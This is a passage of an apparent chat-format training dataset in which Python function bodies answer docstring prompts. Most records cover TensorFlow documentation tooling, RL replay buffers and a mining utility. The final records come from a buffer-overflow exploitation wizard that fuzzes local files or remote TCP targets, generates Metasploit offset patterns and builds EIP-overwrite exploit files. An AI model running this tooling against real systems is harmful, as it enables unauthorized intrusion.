cls: Type[object]) -> AnnotsDefaultsReturns:\n ast_visitor = _ClassDefaultAndAnnotationExtractor()\n ast_visitor.extract(cls)\n return (ast_visitor.annotations, ast_visitor.defaults,\n ast_visitor.return_annotation)", "conversation_id": 430, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 431, "message_id": 0 }, { "role": "user", "content": "Extract ast defaults and annotations form a standard callable..", "conversation_id": 431, "message_id": 1 }, { "role": "assistant", "content": "def _extract_arg_defaults_and_annotations(\n func: Callable[..., Any]) -> AnnotsDefaultsReturns:\n ast_visitor = _ArgDefaultAndAnnotationExtractor()\n annotation_source_dict = {}\n defaults_source_dict = {}\n return_annotation_source = EMPTY\n try:\n ast_visitor.extract(func)\n except Exception: \n pass\n else:\n annotation_source_dict = ast_visitor.annotations\n defaults_source_dict = ast_visitor.defaults\n return_annotation_source = ast_visitor.return_annotation\n return annotation_source_dict, defaults_source_dict, return_annotation_source", "conversation_id": 431, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 432, "message_id": 0 }, { "role": "user", "content": "Extracts the decorators on top of functions/methods..", "conversation_id": 432, "message_id": 1 }, { "role": "assistant", "content": "def extract_decorators(func: Any) -> List[str]:\n class ASTDecoratorExtractor(ast.NodeVisitor):\n def __init__(self):\n self.decorator_list = []\n def visit_FunctionDef(self, node): \n for dec in node.decorator_list:\n self.decorator_list.append(_source_from_ast(dec))\n visitor = ASTDecoratorExtractor()\n func_ast = get_source.get_ast(func)\n if func_ast is not None:\n visitor.visit(func_ast)\n return visitor.decorator_list", "conversation_id": 432, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 433, "message_id": 0 }, { "role": "user", "content": "Recursively enumerate all members of `root`.\nSimilar to the Python library function `os.path.walk`.\n\nTraverses the tree of Python objects starting with `root`, depth first.\nParent-child relationships in the tree are defined by membership in modules or\nclasses.\n\nIf `root` is not a module or class, `visit` is never called. `traverse`\nnever descends into built-in modules.\n\n\n\nCycles (determined by reference equality, `is`) stop the traversal. A stack of\nobjects is kept to find cycles.\n\nTraversing system modules can take a long time, it is advisable to pass a\n`visit` callable which denylists such modules..", "conversation_id": 433, "message_id": 1 }, { "role": "assistant", "content": "def traverse(root, filters, accumulator, root_name) -> None:\n _Traverser(filters, accumulator).traverse(root, [], (root_name,))", "conversation_id": 433, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 434, "message_id": 0 }, { "role": "user", "content": "Returns a list of symbol names imported by the given `obj`..", "conversation_id": 434, "message_id": 1 }, { "role": "assistant", "content": "def _get_imported_symbols(obj: Union[str, types.ModuleType]):\n class ImportNodeVisitor(ast.NodeVisitor):\n def __init__(self):\n self.imported_symbols = []\n def _add_imported_symbol(self, node):\n for alias in node.names:\n name = alias.asname or alias.name\n if name == '*':\n continue\n if '.' in name:\n continue\n self.imported_symbols.append(name)\n def visit_Import(self, node): \n self._add_imported_symbol(node)\n def visit_ImportFrom(self, node): \n self._add_imported_symbol(node)\n tree = get_source.get_ast(obj)\n if tree is None:\n return []\n visitor = ImportNodeVisitor()\n visitor.visit(tree)\n return visitor.imported_symbols", "conversation_id": 434, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 435, "message_id": 0 }, { "role": "user", "content": "Add properties to Proto classes, so they can be documented.\nWarning: This inserts the Properties into the class so the rest of the system\nis unaffected. This patching is acceptable because there is never a reason to\nrun other tensorflow code in the same process as the doc generator..", "conversation_id": 435, "message_id": 1 }, { "role": "assistant", "content": "def add_proto_fields(path: Sequence[str], parent: Any,\n children: Children) -> Children:\n del path\n if not inspect.isclass(parent) or not issubclass(parent, ProtoMessage):\n return children\n descriptor = getattr(parent, 'DESCRIPTOR', None)\n if descriptor is None:\n return children\n fields = descriptor.fields\n if not fields:\n return children\n field = fields[0]\n field_types = {\n getattr(field, name): name\n for name in dir(field)\n if name.startswith('TYPE')\n }\n labels = {\n getattr(field, name): name\n for name in dir(field)\n if name.startswith('LABEL')\n }\n field_properties = {}\n for field in fields:\n name = field.name\n doc_parts = []\n label = labels[field.label].lower().replace('label_', '')\n if label != 'optional':\n doc_parts.append(label)\n type_name = field_types[field.type]\n if type_name == 'TYPE_MESSAGE':\n type_name = field.message_type.name\n elif type_name == 'TYPE_ENUM':\n type_name = field.enum_type.name\n else:\n type_name = type_name.lower().replace('type_', '')\n doc_parts.append(type_name)\n doc_parts.append(name)\n doc = '`{}`'.format(' '.join(doc_parts))\n prop = property(fget=lambda x: x, doc=doc)\n field_properties[name] = prop\n for name, prop in field_properties.items():\n setattr(parent, name, prop)\n children = dict(children)\n children.update(field_properties)\n children = sorted(children.items(), key=lambda item: item[0])\n return children", "conversation_id": 435, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 436, "message_id": 0 }, { "role": "user", "content": "Filters module children to remove builtin modules..", "conversation_id": 436, "message_id": 1 }, { "role": "assistant", "content": "def filter_builtin_modules(path: Sequence[str], parent: Any,\n children: Children) -> Children:\n del path\n del parent\n filtered_children = []\n for name, child in children:\n if inspect.ismodule(child) and child.__name__ in sys.builtin_module_names:\n continue\n filtered_children.append((name, child))\n return filtered_children", "conversation_id": 436, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 437, "message_id": 0 }, { "role": "user", "content": "Converts an ApiTreeNode to a list of toc entries..", "conversation_id": 437, "message_id": 1 }, { "role": "assistant", "content": "def _entries_from_api_node(\n self, api_node: doc_generator_visitor.ApiTreeNode) -> List[Entry]:\n obj_type = api_node.obj_type\n if obj_type is obj_type_lib.ObjType.MODULE:\n return [self._make_section(api_node)]\n if obj_type is obj_type_lib.ObjType.CLASS:\n return self._flat_class_entries(api_node)\n if obj_type in [\n obj_type_lib.ObjType.CALLABLE, obj_type_lib.ObjType.TYPE_ALIAS\n ]:\n return [self._make_link(api_node)]\n else:\n return []", "conversation_id": 437, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 438, "message_id": 0 }, { "role": "user", "content": "Returns the toc.Status of an ApiTreeNode..", "conversation_id": 438, "message_id": 1 }, { "role": "assistant", "content": "def _make_status(self, api_node: doc_generator_visitor.ApiTreeNode):\n if self._is_deprecated(api_node):\n return Status.DEPRECATED\n if self._is_experimental(api_node):\n return Status.EXPERIMENTAL\n return None", "conversation_id": 438, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 439, "message_id": 0 }, { "role": "user", "content": "Checks if an object is deprecated or not.\nEach deprecated function has a `_tf_decorator.decorator_name` attribute.\nCheck the docstring of that function to confirm if the function was\nindeed deprecated. If a different deprecation setting was used on the\nfunction, then \"THIS FUNCTION IS DEPRECATED\" substring won't be inserted\ninto the docstring of that function by the decorator..", "conversation_id": 439, "message_id": 1 }, { "role": "assistant", "content": "def _is_deprecated(self, api_node: doc_generator_visitor.ApiTreeNode):\n if doc_controls.is_deprecated(api_node.py_object):\n return True\n decorator_list = signature.extract_decorators(api_node.py_object)\n if any('deprecat' in dec for dec in decorator_list):\n docstring = getattr(api_node.py_object, '__doc__') or ''\n return 'THIS FUNCTION IS DEPRECATED' in docstring\n return False", "conversation_id": 439, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 440, "message_id": 0 }, { "role": "user", "content": "For top-level modules, place the submodules as peers..", "conversation_id": 440, "message_id": 1 }, { "role": "assistant", "content": "def _flat_module_entries(self,\n api_node: doc_generator_visitor.ApiTreeNode,\n title: Optional[str] = None) -> List[Section]:\n title = title or api_node.short_name\n overview = self._make_link(api_node, title='Overview')\n entries = []\n submodule_sections = []\n for name, child_node in api_node.children.items():\n if child_node.obj_type is obj_type_lib.ObjType.MODULE:\n subtitle = f'{title}.{name}'\n submodule_sections.append(\n self._make_section(child_node, title=subtitle))\n else:\n entries.extend(self._entries_from_api_node(child_node))\n entries = sorted(entries, key=self._section_order_key)\n entries.insert(0, overview)\n submodule_sections = sorted(submodule_sections, key=self._section_order_key)\n status = self._make_status(api_node)\n module_section = Section(title=title, section=entries, status=status)\n return [module_section] + submodule_sections", "conversation_id": 440, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 441, "message_id": 0 }, { "role": "user", "content": "Write previously extracted docs to disk.\nWrite a docs page for each symbol included in the indices of parser_config to\na tree of docs at `output_dir`.\n\nSymbols with multiple aliases will have only one page written about\nthem, which is referenced for all aliases..", "conversation_id": 441, "message_id": 1 }, { "role": "assistant", "content": "def write_docs(\n *,\n output_dir: Union[str, pathlib.Path],\n parser_config: config.ParserConfig,\n yaml_toc: Union[bool, Type[toc_lib.TocBuilder]],\n root_module_name: str,\n root_title: str = 'TensorFlow',\n search_hints: bool = True,\n site_path: str = 'api_docs/python',\n gen_redirects: bool = True,\n gen_report: bool = True,\n extra_docs: Optional[Dict[int, str]] = None,\n page_builder_classes: Optional[docs_for_object.PageBuilderDict] = None,\n):\n output_dir = pathlib.Path(output_dir)\n site_path = pathlib.Path('/', site_path)\n if not output_dir.is_absolute():\n raise ValueError(\"'output_dir' must be an absolute path.\\n\"\n f\" output_dir='{output_dir}'\")\n output_dir.mkdir(parents=True, exist_ok=True)\n redirects = []\n api_report = None\n if gen_report:\n api_report = utils.ApiReport()\n num_docs_output = 0\n for api_node in parser_config.api_tree.iter_nodes():\n full_name = api_node.full_name\n if api_node.output_type() is api_node.OutputType.FRAGMENT:\n continue\n try:\n page_info = docs_for_object.docs_for_object(\n api_node=api_node,\n parser_config=parser_config,\n extra_docs=extra_docs,\n search_hints=search_hints,\n page_builder_classes=page_builder_classes)\n if api_report is not None and not full_name.startswith(\n ('tf.compat.v', 'tf.keras.backend', 'tf.numpy',\n 'tf.experimental.numpy')):\n api_report.fill_metrics(page_info)\n except Exception as e:\n raise ValueError(\n f'Failed to generate docs for symbol: `{full_name}`') from e\n path = output_dir / parser.documentation_path(full_name)\n try:\n path.parent.mkdir(exist_ok=True, parents=True)\n path.write_text(page_info.page_text, encoding='utf-8')\n num_docs_output += 1\n except OSError as e:\n raise OSError('Cannot write documentation for '\n f'{full_name} to {path.parent}') from e\n duplicates = parser_config.duplicates.get(full_name, [])\n if not duplicates:\n continue\n duplicates = [item for item in duplicates if item != full_name]\n if gen_redirects:\n for dup in duplicates:\n from_path = site_path / dup.replace('.', '/')\n to_path = site_path / full_name.replace('.', '/')\n redirects.append({'from': str(from_path), 'to': str(to_path)})\n if api_report is not None:\n api_report.write(output_dir / root_module_name / 'api_report.pb')\n if num_docs_output <= 1:\n raise ValueError('The `DocGenerator` failed to generate any docs. Verify '\n 'your arguments (`base_dir` and `callbacks`). '\n 'Everything you want documented should be within '\n '`base_dir`.')\n if yaml_toc:\n if isinstance(yaml_toc, bool):\n yaml_toc = toc_lib.FlatModulesTocBuilder\n toc = yaml_toc(site_path).build(parser_config.api_tree)\n toc_path = output_dir / root_module_name / '_toc.yaml'\n toc.write(toc_path)\n if redirects and gen_redirects:\n redirects_dict = {\n 'redirects': sorted(redirects, key=lambda redirect: redirect['from'])\n }\n api_redirects_path = output_dir / root_module_name / '_redirects.yaml'\n with open(api_redirects_path, 'w') as redirect_file:\n yaml.dump(redirects_dict, redirect_file, default_flow_style=False)\n with open(output_dir / root_module_name / 'all_symbols.md', 'w') as f:\n global_index = parser.generate_global_index(\n root_title, parser_config.index, parser_config.reference_resolver)\n if not search_hints:\n global_index = 'robots: noindex\\n' + global_index\n f.write(global_index)", "conversation_id": 441, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 442, "message_id": 0 }, { "role": "user", "content": "Returns a random sample from the buffer.\nParameters\n\nbatch_size : int\nThe number of observations to sample..", "conversation_id": 442, "message_id": 1 }, { "role": "assistant", "content": "def sample(self, batch_size):\n return sample(self.memory, batch_size)", "conversation_id": 442, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 443, "message_id": 0 }, { "role": "user", "content": "Adds a transition to the buffer and add an initial prioritization.\nParameters\n\nargs\nThe state, action, reward, next_state, done tuple.", "conversation_id": 443, "message_id": 1 }, { "role": "assistant", "content": "def append(self, *args, **kwargs):\n idx = self.position\n super().append(*args, **kwargs)\n self._it_sum[idx] = self._max_priority ** self._alpha\n self._it_min[idx] = self._max_priority ** self._alpha", "conversation_id": 443, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 444, "message_id": 0 }, { "role": "user", "content": "Sample a batch of experiences.\nwhile returning importance weights and idxes\nof sampled experiences.\n\nParameters\n\nint\nHow many transitions to sample.\nbeta: float\nTo what degree to use importance weights\n(0 - no corrections, 1 - full correction)\n\nReturns\n\nnp.array\nArray of shape (batch_size,) and dtype np.float32\ndenoting importance weight of each sampled transition\nidxes: np.array\nArray of shape (batch_size,) and dtype np.int32\nidexes in buffer of sampled experiences.", "conversation_id": 444, "message_id": 1 }, { "role": "assistant", "content": "def sample(self, batch_size, beta):\n assert beta > 0\n idxes = self._sample_proportional(batch_size)\n weights = []\n p_min = self._it_min.min() / self._it_sum.sum()\n max_weight = (p_min * len(self.memory)) ** (-beta)\n for idx in idxes:\n p_sample = self._it_sum[idx] / self._it_sum.sum()\n weight = (p_sample * len(self.memory)) ** (-beta)\n weights.append(weight / max_weight)\n weights = np.array(weights)\n encoded_sample = tuple(zip(*self._encode_sample(idxes)))\n batch = list(zip(*encoded_sample, weights, idxes))\n return batch", "conversation_id": 444, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 445, "message_id": 0 }, { "role": "user", "content": "Update priorities of sampled transitions.\nsets priority of transition at index idxes[i] in buffer\nto priorities[i].\n\nParameters\n\n[int]\nList of idxes of sampled transitions\npriorities: [float]\nList of updated priorities corresponding to\ntransitions at the sampled idxes denoted by\nvariable `idxes`..", "conversation_id": 445, "message_id": 1 }, { "role": "assistant", "content": "def update_priorities(self, idxes, priorities):\n assert len(idxes) == len(priorities)\n priorities += np.finfo('float').eps\n for idx, priority in zip(idxes, priorities):\n if priority < 0:\n priority = np.finfo('float').eps\n assert 0 <= idx < len(self.memory)\n self._it_sum[idx] = priority ** self._alpha\n self._it_min[idx] = priority ** self._alpha\n self._max_priority = max(self._max_priority, priority)", "conversation_id": 445, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 446, "message_id": 0 }, { "role": "user", "content": "Forcing gradients to stay within a certain interval\nby setting it to the bound if it goes over it.\n\nParameters\n\nx : number > 0\nSets the interval to be [-x, x].", "conversation_id": 446, "message_id": 1 }, { "role": "assistant", "content": "def clamp_gradients(self, x=1):\n assert x > 0\n for param in self.model.parameters():\n param.grad.data.clamp_(-x, x)", "conversation_id": 446, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 447, "message_id": 0 }, { "role": "user", "content": "Clears out gradients held in the model..", "conversation_id": 447, "message_id": 1 }, { "role": "assistant", "content": "def zero_grad(self):\n self.model.zero_grad()", "conversation_id": 447, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 448, "message_id": 0 }, { "role": "user", "content": "Run a step of the optimizer on `model`..", "conversation_id": 448, "message_id": 1 }, { "role": "assistant", "content": "def step(self):\n self.optimizer.step()", "conversation_id": 448, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 449, "message_id": 0 }, { "role": "user", "content": "Calculate gradients by shifting parameters\ntowards the networks with the highest fitness value.\n\nThis is calculated by evaluating the fitness of multiple\nnetworks according to the fitness function specified in\nthe class..", "conversation_id": 449, "message_id": 1 }, { "role": "assistant", "content": "def calc_gradients(self, *args):\n white_noise_dict, noise_dict = self._generate_noise_dicts()\n candidate_solutions = self._generate_candidate_solutions(noise_dict)\n fitness_values = torch.tensor(\n [self.fitness(x, *args) for x in candidate_solutions],\n device=self.device\n )\n if log.enabled:\n log.Logger[self.name + \"/\" + \"fitness_value\"].append(fitness_values.mean().item())\n fitness_values = (fitness_values - fitness_values.mean()) / (fitness_values.std() + np.finfo('float').eps)\n self.zero_grad()\n for name, param in self.model.named_parameters():\n if param.requires_grad:\n noise_dim_n = len(white_noise_dict[name].shape)\n dim = np.repeat(1, noise_dim_n - 1).tolist() if noise_dim_n > 0 else []\n param.grad = (white_noise_dict[name] * fitness_values.float().reshape(self.population_size, *dim)).mean(0) / self.sigma", "conversation_id": 449, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 450, "message_id": 0 }, { "role": "user", "content": "Perform a full state sync with the originating model..", "conversation_id": 450, "message_id": 1 }, { "role": "assistant", "content": "def sync(self):\n self.target_model.load_state_dict(self.model.state_dict())", "conversation_id": 450, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 451, "message_id": 0 }, { "role": "user", "content": "Partially move closer to the parameters of the originating\nmodel by updating parameters to be a mix of the\noriginating and the clone models.\n\nParameters\n\ntau : number\nA number between 0-1 which indicates\nthe proportion of the originator and clone in the new clone..", "conversation_id": 451, "message_id": 1 }, { "role": "assistant", "content": "def partial_sync(self, tau):\n assert isinstance(tau, float)\n assert 0.0 < tau <= 1.0\n model_state = self.model.state_dict()\n target_state = self.target_model.state_dict()\n for grad_index, grad in model_state.items():\n target_state[grad_index].copy_((1 - tau) * target_state[grad_index] + tau * grad)\n self.target_model.load_state_dict(target_state)", "conversation_id": 451, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 452, "message_id": 0 }, { "role": "user", "content": "Adds a log-based probability to the observation..", "conversation_id": 452, "message_id": 1 }, { "role": "assistant", "content": "def append_log_probs(self, logprob):\n self.log_probs.append(logprob)", "conversation_id": 452, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 453, "message_id": 0 }, { "role": "user", "content": "Clears the transitions and log-based probabilities..", "conversation_id": 453, "message_id": 1 }, { "role": "assistant", "content": "def clear(self):\n self.memory.clear()\n self.log_probs.clear()", "conversation_id": 453, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 454, "message_id": 0 }, { "role": "user", "content": "Return a list of the transitions with their\nassociated log-based probabilities..", "conversation_id": 454, "message_id": 1 }, { "role": "assistant", "content": "def recall(self):\n if len(self.memory) != len(self.log_probs):\n raise ValueError(\"Memory and recorded log probabilities must be the same length.\")\n return list(zip(*tuple(zip(*self.memory)), self.log_probs))", "conversation_id": 454, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 455, "message_id": 0 }, { "role": "user", "content": "None\nPrompt user to set up commands for mining on their machine.", "conversation_id": 455, "message_id": 1 }, { "role": "assistant", "content": "def mine():\n try:\n mining_path = os.path.expanduser('~/.vectordash/mining/mine.sh')\n pid_path = os.path.expanduser('~/.vectordash/mining/pid')\n if os.path.exists(mining_path):\n subprocess.call(\"chmod +x \" + mining_path, shell=True)\n process = subprocess.Popen(mining_path)\n pid_file = open(pid_path, 'w')\n pid_file.write(str(process.pid))\n pid_file.close()\n else:\n print(\"Please run \" + stylize(\"vdhost setcommands\", fg(\"blue\")) + \" before trying to mine.\")\n except Exception as e:\n print(stylize(\"The following error was thrown: \", fg(\"red\")) + str(e))\n print(stylize(\"Your mining commands could not be executed. Are you sure you are using absolute paths?\",\n fg(\"red\")))", "conversation_id": 455, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 456, "message_id": 0 }, { "role": "user", "content": "None\nPrompt user to set up commands for mining on their machine.", "conversation_id": 456, "message_id": 1 }, { "role": "assistant", "content": "def stop():\n try:\n pid_path = os.path.expanduser('~/.vectordash/mining/pid')\n if os.path.exists(pid_path):\n pid_file = open(pid_path, 'r')\n pid = pid_file.read()\n pid_file.close()\n if int(pid) < 0:\n print(\"Not currently mining. Run \" + stylize(\"vdhost mine\", fg(\"blue\")) + \" to start mining\")\n return\n subprocess.call(\"kill -- -$(ps -o pgid= \" + pid + \" | grep -o [0-9]*)\", shell=True)\n while pid_exists(pid):\n print(\"Attempting to force kill subprocess\")\n subprocess.call(\"kill -9 -p \" + pid, shell=True)\n pid_file = open(pid_path, 'w')\n pid_file.write(\"-1\")\n pid_file.close()\n else:\n print(\"Please run \" + stylize(\"vdhost mine\", fg(\"blue\")) + \" before trying to stop mining.\")\n return\n except ValueError as e:\n print(stylize(\"The following error was thrown: \", fg(\"red\")) + str(e))\n print(stylize(\"Your mining commands could not be executed. Are you sure you are using absolute paths?\",\n fg(\"red\")))", "conversation_id": 456, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 457, "message_id": 0 }, { "role": "user", "content": "Check whether pid exists in the current process table.\nUNIX only..", "conversation_id": 457, "message_id": 1 }, { "role": "assistant", "content": "def pid_exists(pid):\n try:\n print(\"Double-checking to ensure process was killed\")\n os.kill(int(pid), 0)\n except OSError:\n print(\"pid: \" + pid + \" killed\")\n return False\n else:\n print(\"pid: \" + pid + \" still exists\")\n return True", "conversation_id": 457, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 458, "message_id": 0 }, { "role": "user", "content": "Checks if all required binaries are available.", "conversation_id": 458, "message_id": 1 }, { "role": "assistant", "content": "def check_dependencies():\n\tdependencies = ['msf-pattern_create', 'msf-pattern_offset', 'msfvenom']\n\tdeps_ok = True\n\tfor dep in dependencies:\n\t\ttry:\n\t\t\tsub.call(dep, stdout=sub.DEVNULL, stderr=sub.DEVNULL)\n\t\texcept OSError:\n\t\t\tdeps_ok = False\n\t\t\tprint_error('Missing binary: {}'.format(dep))\n\tif not deps_ok:\n\t\tprint_info('You need to install the Metasploit Framework')\n\treturn deps_ok", "conversation_id": 458, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 459, "message_id": 0 }, { "role": "user", "content": "Prints a welcome message to the screen.", "conversation_id": 459, "message_id": 1 }, { "role": "assistant", "content": "def print_welcome():\n\tprint('''{}\n \u2554\u2550\u2557\u252c\u250c\u252c\u2510\u250c\u2500\u2510\u252c \u250c\u2500\u2510\n \u255a\u2550\u2557\u2502\u2502\u2502\u2502\u251c\u2500\u2518\u2502 \u251c\u2524 \n \u255a\u2550\u255d\u2534\u2534 \u2534\u2534 \u2534\u2500\u2518\u2514\u2500\u2518\n \u2584\u2584\u2584\u2584 \u2592\u2588\u2588\u2588\u2588\u2588\n \u2593\u2588\u2588\u2588\u2588\u2588\u2584 \u2592\u2588\u2588\u2592 \u2588\u2588\u2592\n \u2592\u2588\u2588\u2592 \u2584\u2588\u2588\u2592\u2588\u2588\u2591 \u2588\u2588\u2592\n \u2592\u2588\u2588\u2591\u2588\u2580 \u2592\u2588\u2588 \u2588\u2588\u2591\n \u2591\u2593\u2588 \u2580\u2588\u2593\u2591 \u2588\u2588\u2588\u2588\u2593\u2592\u2591\n \u2591\u2592\u2593\u2588\u2588\u2588\u2580\u2592\u2591 \u2592\u2591\u2592\u2591\u2592\u2591\n \u2592\u2591\u2592 \u2591 \u2591 \u2592 \u2592\u2591\n \u2591 \u2591 \u2591 \u2591 \u2591 \u2592 *\n \u2591 \u2591 \u2591 *\u00b0\n *\u00b0`\n \u2566 \u2566\u252c\u250c\u2500\u2510\u250c\u2500\u2510\u252c\u2500\u2510\u250c\u252c\u2510 *\u00b0``\n \u2551\u2551\u2551\u2502\u250c\u2500\u2518\u251c\u2500\u2524\u251c\u252c\u2518 \u2502\u2502 (\u00b4***\u00b0``)\n \u255a\u2569\u255d\u2534\u2514\u2500\u2518\u2534 \u2534\u2534\u2514\u2500\u2500\u2534\u2518 ```*\u00b4\u00b4\u00b4\n This wizards helps you getting\nstarted with simple buffer overflows.\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{}\n'''.format(CYAN, FORMAT_END))", "conversation_id": 459, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 460, "message_id": 0 }, { "role": "user", "content": "Prints the buffer overflow types to the screen and stores the users selection.", "conversation_id": 460, "message_id": 1 }, { "role": "assistant", "content": "def select_bo_type():\n\tshow_prompt_text('Select type of buffer overflow:')\n\tshow_prompt_text('[ L ] Local buffer overflow', False)\n\tshow_prompt_text(' {} = Open a malicious file in an application {}'.format(GRAY, FORMAT_END), False)\n\tshow_prompt_text('[ R ] Remote buffer overflow', False)\n\tshow_prompt_text(' {} = Send a malicious request via TCP to an application {}'.format(GRAY, FORMAT_END), False)\n\tuser_input = get_input(bo_type_valid)\n\tglobal bo_type\n\tbo_type = 'local' if user_input in ['l', 'loc', 'local'] else 'remote'", "conversation_id": 460, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 461, "message_id": 0 }, { "role": "user", "content": "We will increasing payloads and send them to the application to find out at which length a buffer overflow occurs.", "conversation_id": 461, "message_id": 1 }, { "role": "assistant", "content": "def step_fuzzing():\n\tglobal current_step\n\tcurrent_step = 0\n\tshow_step_banner('[0] Fuzzing')\n\tif bo_type == 'local':\n\t\tshow_prompt_text('Enter file extension:')\n\t\tuser_input = get_input(ext_valid)\n\t\tglobal file_ext\n\t\tglobal file\n\t\tfile_ext = user_input\n\t\tfile = file_name + '.' + file_ext if file_ext else file_name\n\t\tprint('\\n{} files with increasing size will be generated. The following settings will be used:\\n'.format(\n\t\t\tfuzz_buff_length))\n\t\tsettings = [desc_file_ext(), desc_fuzz_buff_length(), desc_fuzz_char(), desc_increase_step(),\n\t\t\t\t\tdesc_start_command(), desc_end_command()]\n\telif bo_type == 'remote':\n\t\tshow_prompt_text('Enter target IP:')\n\t\tuser_input = get_input(ip_valid)\n\t\tglobal target\n\t\ttarget = user_input\n\t\tshow_prompt_text('Enter target port:')\n\t\tuser_input = get_input(port_valid)\n\t\tglobal port\n\t\tport = int(user_input)\n\t\tprint('\\nA fuzzing file will be generated. The following settings will be used:\\n')\n\t\tsettings = [desc_target(), desc_port(), desc_fuzz_buff_length(), desc_fuzz_char(),\n\t\t\t\t\tdesc_increase_step(), desc_start_command(), desc_end_command()]\n\tshow_settings(settings)\n\tif proceed_ok():\n\t\tif bo_type == 'local':\n\t\t\tdump_local_fuzz()\n\t\telif bo_type == 'remote':\n\t\t\tdump_remote_fuzz()\n\t\t\trun_remote_fuzzing()\n\tstep_pattern()", "conversation_id": 461, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 462, "message_id": 0 }, { "role": "user", "content": "Based on the buffer length determined through fuzzing (previous step), we will create and send\na unique pattern which will help us finding the offset.", "conversation_id": 462, "message_id": 1 }, { "role": "assistant", "content": "def step_pattern():\n\tglobal current_step\n\tcurrent_step = 1\n\tshow_step_banner('[1] Finding offset')\n\tshow_prompt_text('Enter the length at which the application/service crashed:')\n\tuser_input = get_input(number_valid)\n\tglobal pattern_length\n\tpattern_length = int(user_input) - len(start_command) - len(end_command)\n\tglobal buf_length\n\tbuf_length = int(user_input)\n\ttmp_file = 'pattern.txt'\n\tcommand = 'msf-pattern_create -l {} > {}'.format(pattern_length, tmp_file)\n\tthread = call_command(command)\n\twhile thread.running():\n\t\tanimation('Creating pattern')\n\tif thread.result() == 0:\n\t\tprint()\n\t\twith open(tmp_file, 'r') as f:\n\t\t\tpattern = f.read().splitlines()[0].encode()\n\t\tglobal buffer\n\t\tbuffer = buffer_list.get_buffer_by_name('pattern').get_buffer(pattern)\n\t\tos.unlink(tmp_file)\n\t\tprint('The exploit file will be generated. The following settings will be used:\\n')\n\t\tif bo_type == 'local':\n\t\t\tsettings = [desc_pattern(), desc_start_command(), desc_end_command()]\n\t\t\tshow_settings(settings)\n\t\t\tif proceed_ok():\n\t\t\t\tdump_local_exploit()\n\t\t\t\tprint(' Load file into vulnerable application and check which pattern is shown in EIP on crash.')\n\t\telif bo_type == 'remote':\n\t\t\tsettings = [desc_target(), desc_port(), desc_pattern(), desc_start_command(), desc_end_command()]\n\t\t\tshow_settings(settings)\n\t\t\tif proceed_ok():\n\t\t\t\tdump_remote_exploit()\n\t\t\trun_remote_exploit()\n\tstep_offsets()", "conversation_id": 462, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 463, "message_id": 0 }, { "role": "user", "content": "In the offset step, the user enters the value that overwrites EIP.\nBy comparing this value to the pattern (previous step), the offset can be determined.\nWe will then build a custom payload that places Bs in the EIP.\nThe user must then check in the debugger whether the offset has been calculated properly..", "conversation_id": 463, "message_id": 1 }, { "role": "assistant", "content": "def step_offsets():\n\tglobal current_step\n\tcurrent_step 